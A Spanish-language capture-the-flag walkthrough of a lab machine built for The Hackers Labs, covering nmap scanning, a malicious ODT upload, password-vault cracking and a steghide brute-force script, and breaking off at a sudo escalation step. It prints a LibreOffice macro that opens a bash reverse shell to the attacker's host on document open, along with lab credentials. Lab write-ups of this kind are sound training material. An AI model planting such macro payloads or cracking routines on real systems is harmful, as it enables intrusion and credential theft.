¡Hola hacker! Bienvenido a una nueva resolución. En esta ocasión, estaremos resolviendo una nueva máquina, la cual creé para nuestra comunidad de The Hackers Labs, la máquina El candidato.
Reconocimiento
Comenzamos como siempre lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live) 64.
Enumeración inicial
Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
❯ nmap -sS -p- --open --min-rate 5000 -Pn -n -oG open_ports -vvv 192.168.1.19
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-08 16:56 -03
Initiating ARP Ping Scan at 16:56
Scanning 192.168.1.19 [1 port]
Completed ARP Ping Scan at 16:56, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:56
Scanning 192.168.1.19 [65535 ports]
Discovered open port 22/tcp on 192.168.1.19
Discovered open port 993/tcp on 192.168.1.19
Discovered open port 445/tcp on 192.168.1.19
Discovered open port 139/tcp on 192.168.1.19
Discovered open port 80/tcp on 192.168.1.19
Discovered open port 25/tcp on 192.168.1.19
Discovered open port 143/tcp on 192.168.1.19
Discovered open port 995/tcp on 192.168.1.19
Discovered open port 110/tcp on 192.168.1.19
Completed SYN Stealth Scan at 16:57, 24.27s elapsed (65535 total ports)
Nmap scan report for 192.168.1.19
Host is up, received arp-response (0.00056s latency).
Scanned at 2024-12-08 16:56:46 -03 for 24s
Not shown: 37558 filtered tcp ports (no-response), 27968 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
25/tcp open smtp syn-ack ttl 64
80/tcp open http syn-ack ttl 64
110/tcp open pop3 syn-ack ttl 64
139/tcp open netbios-ssn syn-ack ttl 64
143/tcp open imap syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
993/tcp open imaps syn-ack ttl 64
995/tcp open pop3s syn-ack ttl 64
MAC Address: 08:00:27:BF:E8:AE (Oracle VirtualBox virtual NIC)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 24.44 seconds
Raw packets sent: 118373 (5.208MB) | Rcvd: 27981 (1.119MB)
Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.
❯ nmap -sCV -p22,25,80,110,139,143,445,993,995 -oN services_scan -vvv 192.168.1.19
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-08 16:57 -03
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:57
Completed NSE at 16:57, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:57
Completed NSE at 16:57, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:57
Completed NSE at 16:57, 0.00s elapsed
Initiating ARP Ping Scan at 16:57
Scanning 192.168.1.19 [1 port]
Completed ARP Ping Scan at 16:57, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:57
Completed Parallel DNS resolution of 1 host. at 16:57, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:57
Scanning 192.168.1.19 [9 ports]
Discovered open port 80/tcp on 192.168.1.19
Discovered open port 139/tcp on 192.168.1.19
Discovered open port 110/tcp on 192.168.1.19
Discovered open port 445/tcp on 192.168.1.19
Discovered open port 995/tcp on 192.168.1.19
Discovered open port 143/tcp on 192.168.1.19
Discovered open port 25/tcp on 192.168.1.19
Discovered open port 22/tcp on 192.168.1.19
Discovered open port 993/tcp on 192.168.1.19
Completed SYN Stealth Scan at 16:57, 0.02s elapsed (9 total ports)
Initiating Service scan at 16:57
Scanning 9 services on 192.168.1.19
Completed Service scan at 16:58, 26.05s elapsed (9 services on 1 host)
NSE: Script scanning 192.168.1.19.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.55s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 1.80s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
Nmap scan report for 192.168.1.19
Host is up, received arp-response (0.00088s latency).
Scanned at 2024-12-08 16:57:47 -03 for 28s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 f5:83:ee:35:33:dc:c8:64:67:e5:1e:3d:37:ac:44:6e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBcsVJXuiKZjKyS7SE80vU6CmwAbbpvBMiLNJn1OFYtTZcechFrMgVaF2JQiYrVB7PdiqLe5ObTLf0JxM/s4IrM=
| 256 49:84:2d:38:2b:f1:39:92:bc:13:7c:17:2a:ae:e8:a1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA80g4Zn1tE+wxyLwcz+P+vLF8+5a6Y24+bQzQ96LFi+
25/tcp open smtp syn-ack ttl 64 Postfix smtpd
|_smtp-commands: gyhabogados.thl, PIPELINING, SIZE 10240000, ETRN, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Gonz\xC3\xA1lez, Herrera y C\xC3\xADa. Abogados
|_http-server-header: Apache/2.4.62 (Debian)
110/tcp open pop3 syn-ack ttl 64 Dovecot pop3d
| ssl-cert: Subject: commonName=LawHacked.lawhacked.thl
| Subject Alternative Name: DNS:LawHacked.lawhacked.thl
| Issuer: commonName=LawHacked.lawhacked.thl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-05T16:19:15
| Not valid after: 2034-12-03T16:19:15
| MD5: 50b3:10e4:c13e:d10d:cf39:059b:086e:383a
| SHA-1: 915e:f065:9174:d4a4:aa1a:7fe7:eb5a:d1d8:c9b3:2271
| -----BEGIN CERTIFICATE-----
| MIIDIjCCAgqgAwIBAgIUDVHowqDKDr/7fgNiSZ9wUQcZbugwDQYJKoZIhvcNAQEL
| BQAwIjEgMB4GA1UEAwwXTGF3SGFja2VkLmxhd2hhY2tlZC50aGwwHhcNMjQxMjA1
| MTYxOTE1WhcNMzQxMjAzMTYxOTE1WjAiMSAwHgYDVQQDDBdMYXdIYWNrZWQubGF3
| aGFja2VkLnRobDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALSeVJlM
| +gHFyQjRposOXgnOGPk0zjT/1Bfh7L+r73G4mBvveDjrbaACEG/H+sVgKab2msYt
| qYoefB09L5V0cY73yPb+CAX7X66uXVc4z5EnWEuYIUmL+7VXwfg2VOfCpKjTgql5
| eylnxv/Xl4Ubf9fbID5nFM7ZTrERv9PXHXNb1NiZ0f0g3yl9zqtHDGhJJKBEJxe5
| WitQJRRHD/jtvrFFADDKrltLQDWlYxlHA9bB6LRgYGrGA3cFWybhEu5yQZxm8lCs
| BTiUNF3kTwcPBjLGZskf1AboUKDIQUuQXjRONnEpld6bFQcvvloCnQM3Rp5j4uwN
| AG69ar/yIf74ukUCAwEAAaNQME4wCQYDVR0TBAIwADAiBgNVHREEGzAZghdMYXdI
| YWNrZWQubGF3aGFja2VkLnRobDAdBgNVHQ4EFgQUcGj/9hp47fYA5ZMSsbk3+aYo
| oCowDQYJKoZIhvcNAQELBQADggEBABGELR9M9fsydlPAbewmlDpvnxU2CCO/BDPf
| xMhFLoHFJMA9hIot94+VVbKJTiLHn8KNArfYmveJMCHz3tQ/0Dh7h9AMp2irg4H2
| 3jXBVVGoGlA61cFzjKRH4JNxgzxxOryOTJm9ttlh8M8OPR7cQ+72V/iqT8jqY2u6
| cS/RBrJNnMbHLmx0FXiamwLIKXLJRUcBbsbLCdXzDYP3BXPQvlXJP/80U0yk5SKY
| ui2F4uZRyutRFmnZVLosGiKMmeXA9oHz/PDxSHNPkJad5c9LW70FPYtQEqm1XC74
| qgkibpoWFhjN7ERK20RiwufMhadEvjuoWkCnVh/o32mHqgxjvYI=
|_-----END CERTIFICATE-----
|_pop3-capabilities: USER RESP-CODES UIDL CAPA TOP STLS SASL(PLAIN LOGIN) AUTH-RESP-CODE PIPELINING
|_ssl-date: TLS randomness does not represent time
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.6.2
143/tcp open imap syn-ack ttl 64 Dovecot imapd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=LawHacked.lawhacked.thl
| Subject Alternative Name: DNS:LawHacked.lawhacked.thl
| Issuer: commonName=LawHacked.lawhacked.thl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-05T16:19:15
| Not valid after: 2034-12-03T16:19:15
| MD5: 50b3:10e4:c13e:d10d:cf39:059b:086e:383a
| SHA-1: 915e:f065:9174:d4a4:aa1a:7fe7:eb5a:d1d8:c9b3:2271
| -----BEGIN CERTIFICATE-----
| MIIDIjCCAgqgAwIBAgIUDVHowqDKDr/7fgNiSZ9wUQcZbugwDQYJKoZIhvcNAQEL
| BQAwIjEgMB4GA1UEAwwXTGF3SGFja2VkLmxhd2hhY2tlZC50aGwwHhcNMjQxMjA1
| MTYxOTE1WhcNMzQxMjAzMTYxOTE1WjAiMSAwHgYDVQQDDBdMYXdIYWNrZWQubGF3
| aGFja2VkLnRobDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALSeVJlM
| +gHFyQjRposOXgnOGPk0zjT/1Bfh7L+r73G4mBvveDjrbaACEG/H+sVgKab2msYt
| qYoefB09L5V0cY73yPb+CAX7X66uXVc4z5EnWEuYIUmL+7VXwfg2VOfCpKjTgql5
| eylnxv/Xl4Ubf9fbID5nFM7ZTrERv9PXHXNb1NiZ0f0g3yl9zqtHDGhJJKBEJxe5
| WitQJRRHD/jtvrFFADDKrltLQDWlYxlHA9bB6LRgYGrGA3cFWybhEu5yQZxm8lCs
| BTiUNF3kTwcPBjLGZskf1AboUKDIQUuQXjRONnEpld6bFQcvvloCnQM3Rp5j4uwN
| AG69ar/yIf74ukUCAwEAAaNQME4wCQYDVR0TBAIwADAiBgNVHREEGzAZghdMYXdI
| YWNrZWQubGF3aGFja2VkLnRobDAdBgNVHQ4EFgQUcGj/9hp47fYA5ZMSsbk3+aYo
| oCowDQYJKoZIhvcNAQELBQADggEBABGELR9M9fsydlPAbewmlDpvnxU2CCO/BDPf
| xMhFLoHFJMA9hIot94+VVbKJTiLHn8KNArfYmveJMCHz3tQ/0Dh7h9AMp2irg4H2
| 3jXBVVGoGlA61cFzjKRH4JNxgzxxOryOTJm9ttlh8M8OPR7cQ+72V/iqT8jqY2u6
| cS/RBrJNnMbHLmx0FXiamwLIKXLJRUcBbsbLCdXzDYP3BXPQvlXJP/80U0yk5SKY
| ui2F4uZRyutRFmnZVLosGiKMmeXA9oHz/PDxSHNPkJad5c9LW70FPYtQEqm1XC74
| qgkibpoWFhjN7ERK20RiwufMhadEvjuoWkCnVh/o32mHqgxjvYI=
|_-----END CERTIFICATE-----
|_imap-capabilities: IMAP4rev1 ID IDLE LOGIN-REFERRALS ENABLE listed LITERAL+ OK post-login AUTH=PLAIN AUTH=LOGINA0001 more STARTTLS have SASL-IR Pre-login capabilities
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.6.2
993/tcp open ssl/imap syn-ack ttl 64 Dovecot imapd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=LawHacked.lawhacked.thl
| Subject Alternative Name: DNS:LawHacked.lawhacked.thl
| Issuer: commonName=LawHacked.lawhacked.thl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-05T16:19:15
| Not valid after: 2034-12-03T16:19:15
| MD5: 50b3:10e4:c13e:d10d:cf39:059b:086e:383a
| SHA-1: 915e:f065:9174:d4a4:aa1a:7fe7:eb5a:d1d8:c9b3:2271
| -----BEGIN CERTIFICATE-----
| MIIDIjCCAgqgAwIBAgIUDVHowqDKDr/7fgNiSZ9wUQcZbugwDQYJKoZIhvcNAQEL
| BQAwIjEgMB4GA1UEAwwXTGF3SGFja2VkLmxhd2hhY2tlZC50aGwwHhcNMjQxMjA1
| MTYxOTE1WhcNMzQxMjAzMTYxOTE1WjAiMSAwHgYDVQQDDBdMYXdIYWNrZWQubGF3
| aGFja2VkLnRobDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALSeVJlM
| +gHFyQjRposOXgnOGPk0zjT/1Bfh7L+r73G4mBvveDjrbaACEG/H+sVgKab2msYt
| qYoefB09L5V0cY73yPb+CAX7X66uXVc4z5EnWEuYIUmL+7VXwfg2VOfCpKjTgql5
| eylnxv/Xl4Ubf9fbID5nFM7ZTrERv9PXHXNb1NiZ0f0g3yl9zqtHDGhJJKBEJxe5
| WitQJRRHD/jtvrFFADDKrltLQDWlYxlHA9bB6LRgYGrGA3cFWybhEu5yQZxm8lCs
| BTiUNF3kTwcPBjLGZskf1AboUKDIQUuQXjRONnEpld6bFQcvvloCnQM3Rp5j4uwN
| AG69ar/yIf74ukUCAwEAAaNQME4wCQYDVR0TBAIwADAiBgNVHREEGzAZghdMYXdI
| YWNrZWQubGF3aGFja2VkLnRobDAdBgNVHQ4EFgQUcGj/9hp47fYA5ZMSsbk3+aYo
| oCowDQYJKoZIhvcNAQELBQADggEBABGELR9M9fsydlPAbewmlDpvnxU2CCO/BDPf
| xMhFLoHFJMA9hIot94+VVbKJTiLHn8KNArfYmveJMCHz3tQ/0Dh7h9AMp2irg4H2
| 3jXBVVGoGlA61cFzjKRH4JNxgzxxOryOTJm9ttlh8M8OPR7cQ+72V/iqT8jqY2u6
| cS/RBrJNnMbHLmx0FXiamwLIKXLJRUcBbsbLCdXzDYP3BXPQvlXJP/80U0yk5SKY
| ui2F4uZRyutRFmnZVLosGiKMmeXA9oHz/PDxSHNPkJad5c9LW70FPYtQEqm1XC74
| qgkibpoWFhjN7ERK20RiwufMhadEvjuoWkCnVh/o32mHqgxjvYI=
|_-----END CERTIFICATE-----
|_imap-capabilities: IMAP4rev1 ID IDLE more LOGIN-REFERRALS have ENABLE post-login Pre-login capabilities listed LITERAL+ SASL-IR OK AUTH=LOGINA0001 AUTH=PLAIN
995/tcp open ssl/pop3 syn-ack ttl 64 Dovecot pop3d
|_pop3-capabilities: CAPA TOP RESP-CODES SASL(PLAIN LOGIN) USER UIDL AUTH-RESP-CODE PIPELINING
| ssl-cert: Subject: commonName=LawHacked.lawhacked.thl
| Subject Alternative Name: DNS:LawHacked.lawhacked.thl
| Issuer: commonName=LawHacked.lawhacked.thl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-05T16:19:15
| Not valid after: 2034-12-03T16:19:15
| MD5: 50b3:10e4:c13e:d10d:cf39:059b:086e:383a
| SHA-1: 915e:f065:9174:d4a4:aa1a:7fe7:eb5a:d1d8:c9b3:2271
| -----BEGIN CERTIFICATE-----
| MIIDIjCCAgqgAwIBAgIUDVHowqDKDr/7fgNiSZ9wUQcZbugwDQYJKoZIhvcNAQEL
| BQAwIjEgMB4GA1UEAwwXTGF3SGFja2VkLmxhd2hhY2tlZC50aGwwHhcNMjQxMjA1
| MTYxOTE1WhcNMzQxMjAzMTYxOTE1WjAiMSAwHgYDVQQDDBdMYXdIYWNrZWQubGF3
| aGFja2VkLnRobDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALSeVJlM
| +gHFyQjRposOXgnOGPk0zjT/1Bfh7L+r73G4mBvveDjrbaACEG/H+sVgKab2msYt
| qYoefB09L5V0cY73yPb+CAX7X66uXVc4z5EnWEuYIUmL+7VXwfg2VOfCpKjTgql5
| eylnxv/Xl4Ubf9fbID5nFM7ZTrERv9PXHXNb1NiZ0f0g3yl9zqtHDGhJJKBEJxe5
| WitQJRRHD/jtvrFFADDKrltLQDWlYxlHA9bB6LRgYGrGA3cFWybhEu5yQZxm8lCs
| BTiUNF3kTwcPBjLGZskf1AboUKDIQUuQXjRONnEpld6bFQcvvloCnQM3Rp5j4uwN
| AG69ar/yIf74ukUCAwEAAaNQME4wCQYDVR0TBAIwADAiBgNVHREEGzAZghdMYXdI
| YWNrZWQubGF3aGFja2VkLnRobDAdBgNVHQ4EFgQUcGj/9hp47fYA5ZMSsbk3+aYo
| oCowDQYJKoZIhvcNAQELBQADggEBABGELR9M9fsydlPAbewmlDpvnxU2CCO/BDPf
| xMhFLoHFJMA9hIot94+VVbKJTiLHn8KNArfYmveJMCHz3tQ/0Dh7h9AMp2irg4H2
| 3jXBVVGoGlA61cFzjKRH4JNxgzxxOryOTJm9ttlh8M8OPR7cQ+72V/iqT8jqY2u6
| cS/RBrJNnMbHLmx0FXiamwLIKXLJRUcBbsbLCdXzDYP3BXPQvlXJP/80U0yk5SKY
| ui2F4uZRyutRFmnZVLosGiKMmeXA9oHz/PDxSHNPkJad5c9LW70FPYtQEqm1XC74
| qgkibpoWFhjN7ERK20RiwufMhadEvjuoWkCnVh/o32mHqgxjvYI=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:BF:E8:AE (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-12-08T20:00:06
|_ start_date: N/A
| nbstat: NetBIOS name: GYHABOGADOS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| GYHABOGADOS<00> Flags: <unique><active>
| GYHABOGADOS<03> Flags: <unique><active>
| GYHABOGADOS<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
| WORKGROUP<1e> Flags: <group><active>
| Statistics:
| 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
| 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_ 00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_clock-skew: 1m52s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 4705/tcp): CLEAN (Couldn't connect)
| Check 2 (port 46031/tcp): CLEAN (Couldn't connect)
| Check 3 (port 35387/udp): CLEAN (Failed to receive data)
| Check 4 (port 26838/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.02 seconds
Raw packets sent: 10 (424B) | Rcvd: 10 (424B)
Explotación inicial
Si ingresamos al puerto 80, nos encontramos con la siguiente web.
Si hacemos hover sobre alguno de los enlaces del menú, vemos que se estan apuntando al siguiente nombre de dominio: gyhabogados.thl.
Por lo tanto, registramos la siguiente linea en nuestro archivo hosts.
echo "192.168.1.19 gyhabogados.thl" >> /etc/hosts
Volvemos a ingresar a la web y vemos que tenemos acceso a las demás secciones.
Hay una sección del sitio web que es particularmente interesante y es la sección de "Trabaja con Nosotros". A través de este formulario los candidatos pueden subir su Curriculum Vitae.
Vemos que el tipo de archivo que los tipos de archivos que se nos permite subir son pdf, doc, y odt. Podemos cargar el formulario y tramitar la petición a Burp Suite para intentar manipular la petición para subir por ejemplo un script php, pero no va por ahi.
En este caso, la vulnerabilidad que explotaremos se encuentra en los macros del archivo odt. Lo que haremos será subir un archivo odt malicioso el cual nos permita obtener una reverse shell.
En primer lugar, debemos crear el archivo odt, para ello utilizaremos LibreOffice Writer.
Para crear un nuevo macro, debemos acceder a la sección Tools/Organize Macros/Basic...
En este punto, deberemos seleccionar nuestro documento y hacer clic en el botón New. Ingresamos el nombre del macro, en este caso AutoOpen.
Se abrirá la siguiente ventana.
Dentro de la sección del código, escribiremos lo siguiente indicando la IP de nuestra máquina atacante:
Sub AutoOpen()
Shell("/bin/bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1'")
End Sub
Guardamos el macro.
En este caso, se nos solicita despliega el siguiente cuadro de dialogo para ingresar el nombre del archivo en caso de todavía no haberlo indicado.
Ahora, lo que demos hacer, es asociar el macro a un evento, en este caso lo asociaremos al evento Open Document, es decir, que nuestro código se ejecutara al momento de abrirse el documento.
Para ello, debemos acceder a Tools/Customize...
Luego, en la pestaña Events debemos buscar el evento Open Document y seleccionarlo. A continuación, debemos hacer clic en el botón Macro....
Por ultimo, debemos seleccionar nuestro macro y guardar.
Guardamos el archivo y ya estamos listos para subirlo.
Volvemos a la web y completamos el formulario.
Antes de enviar el formulario, nos ponemos en escucha con netcat por el puerto que hayamos elegido.
Ahora si, enviamos el formulario.
Esperamos unos segundos, y deberíamos recibir la reverse shell.
Genial, estamos dentro del sistema como el usuario bob.
Hacemos el tratamiento de la tty para tener una terminal más interactiva:
script /dev/null -c bash
CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows <rows> columns <columns>
bob -> sam
Si realizamos una enumeración básica del sistema, encontramos un archivo credentials.7z en el directorio home de bob.
Si intentamos extraer el contenido del archivo, vemos que nos solicita una contraseña.
Descargamos el archivo a nuestra máquina atacante para poder crackearlo con john.
Creamos un servidor HTTP con Python por el puerto 8000.
Utilizamos 7z2john para generar el hash.
Crackeamos el hash con john usando el rockyou.
Logramos obtener la contraseña del archivo 7z.
Extraemos el contenido del archivo, lo cual genera un archivo credentials.txt.
Dentro del archivo, encontramos las credenciales de bob.
Las cuales podemos utilizar para conectarnos por ssh.
Usuario: bob
Contraseña: a7gyqqp6bt2!uv@2u
Continuamos enumerando el sistema y encontramos que además del sitio principal gyhabogados.thl, existe un segundo sitio configurado mail.gyhabogados.thl.
Si miramos el contenido del archivo, nos encontramos con lo siguiente:
Al aparecer, lo que esta corriendo bajo la dirección mail.gyhabogados.thl es una instancia de Roundcube.
¿Qué es Roundcube?
RoundCube es un cliente de correo web gratuito y de código abierto que permite gestionar emails a través de un navegador. Ofrece una interfaz moderna, soporte IMAP, gestión de contactos y extensibilidad mediante plugins.
Agregamos este dominio al archivo host de nuestra máquina atacante y accedemos a ella desde el navegador.
También podríamos haber realizado fuzzing para encontrar el subdominio.
Efectivamente, nos encontramos con una instancia de RoundCube.
Ingresamos con las credenciales de bob.
Si miramos dentro de los mensajes enviados por bob, encontramos uno interesante.
En este correo, podemos ver que se da la bienvenida a sam que es uno de los nuevos abogados. Podemos ver, que se le brindan las credenciales necesarias para acceder al sistema.
Nos movernos al usuarios sam usando esas credenciales, ya que no las ha cambiado.
Usuario: sam
Contraseña: Welcome2024!
Genial, logramos acceder como sam al sistema.
sam -> dean
Si recordamos los servicios expuestos, uno de ellos era el Samba (445). Ahora que tenemos credenciales validas, podemos intentar enumerar recursos.
Vemos tres recursos interesantes, CONFIDENCIALES, RESPALDOS_IT y IT_TOOLS, pero solo tenemos permisos de lectura en los primeros dos. Si miramos dentro del recurso compartido CONFIDENCIALES no encontraremos nada interesante, solo archivos pdf sin valor. Pero, dentro del recurso compartido RESPALDOS_IT si encontramos algo.
Descargamos ambos archivos a nuestra máquina atacante.
Si miramos lo que dice el archivo txt, nos encontramos con lo siguiente:
IMPORTANTE.txt
Dean,
He notado que estás reutilizando tus credenciales con frecuencia, lo que puede comprometer la seguridad de la empresa. Para facilitarte la gestión de contraseñas y mejorar la seguridad, he decidido crear una bóveda de contraseñas para ti, utilizando un gestor de contraseñas.
Con esta herramienta, solo necesitarás recordar una contraseña maestra para acceder a todas tus credenciales de manera segura.
La contraseña maestra es similar a la que te proporcioné en la bienvenida: "ChevyImpala1967". Sin embargo, en lugar de "1967", deberás usar un año diferente.
Vemos que el archivo credenciales.psafe3 corresponde a la boveda de contraseñas de dean uno de los usuarios del sistema y que la contraseña maestra esta formada por ChevyImpala y un año, que no sabemos cual.
Creamos un simple diccionario usando el siguiente one-liner.
for year in $(seq 1900 2024); do echo "ChevyImpala$year"; done > diccionario.txt
Generamos el hash usando la herramienta pwsafe2john.
Crackeamos el hash con john y el diccionario generado.
Obtenemos la contraseña maestra de la boveda.
Abrimos el archivo con la aplicación de Password Safe.
Encontramos las credenciales de dean.
Usuario: dean
Contraseña: MasterOfPuppets1986
dean -> john
Obtenemos la flag de user.txt
Si recordamos, cuando enumeramos recursos compartidos con sam, había un recurso que no podíamos acceder. Si volvemos a enumerar, en este caso con dean vemos que tenemos permisos de lectura en este recurso, por lo que nos conectamos.
Encontramos un archivo .ppk, lo descargamos a nuestra máquina.
Utilizamos la utilidad puttygen para generar una clave privada rsa y poder conectarnos por ssh como john.
Después de realizar una enumeración del sistema y no encontrar nada interesante, probamos ingresar a la casilla de correo de john pero no encontramos nada. Sin embargo, si ingresamos a la casilla de correo de dean, observamos un correo un tanto particular.
En este correo, el usuario bob envia una imagen de un Chevrolet Impala del año 67 adjunta.
Descargamos la imagen y aplicamos esteganografía junto con un poco de fuerza bruta.
Para ello, podemos usar un pequeño script en bash.
#!/bin/bash
# steghide_bruteforce.sh
IMAGE="impala_67.jpg"
OUTPUT_FILE="extracted_data.txt"
WORDLIST="/usr/share/wordlists/rockyou.txt"
# Fuerza bruta con cada línea del diccionario
while IFS= read -r PASSWORD; do
echo "Probando: $PASSWORD"
steghide extract -sf "$IMAGE" -p "$PASSWORD" >/dev/null 2>&1
# Si steghide no genera errores, significa que la contraseña es correcta
if [[ $? -eq 0 ]]; then
echo "¡Contraseña encontrada!: $PASSWORD"
echo "El archivo oculto ha sido extraído con éxito"
exit 0
fi
done < "$WORDLIST"
echo "Fuerza bruta completada. No se encontró la contraseña en $WORDLIST."
exit 1
Ejecutamos el script.
./steghide_bruteforce.sh
Y luego de unos segundos, logramos obtener la contraseña y extraer el archivo oculto.
De esta forma, obtenemos las credenciales de john.
Usuario: john
Contraseña: TI!Powerful2024
Volvemos a conectarnos como john al sistema y enumeramos si tenemos la capacidad de ejecutar comandos con sudo. Efectivamente, podemos ejecutar el siguiente comando con sudo.
Vemos que podemos ejecutar un script de python que se encuentra en /home/john/tools/backup.py. Pero si nos fijamos dentro del directorio tools no existe ningun archivo backup.py por lo que creamos este.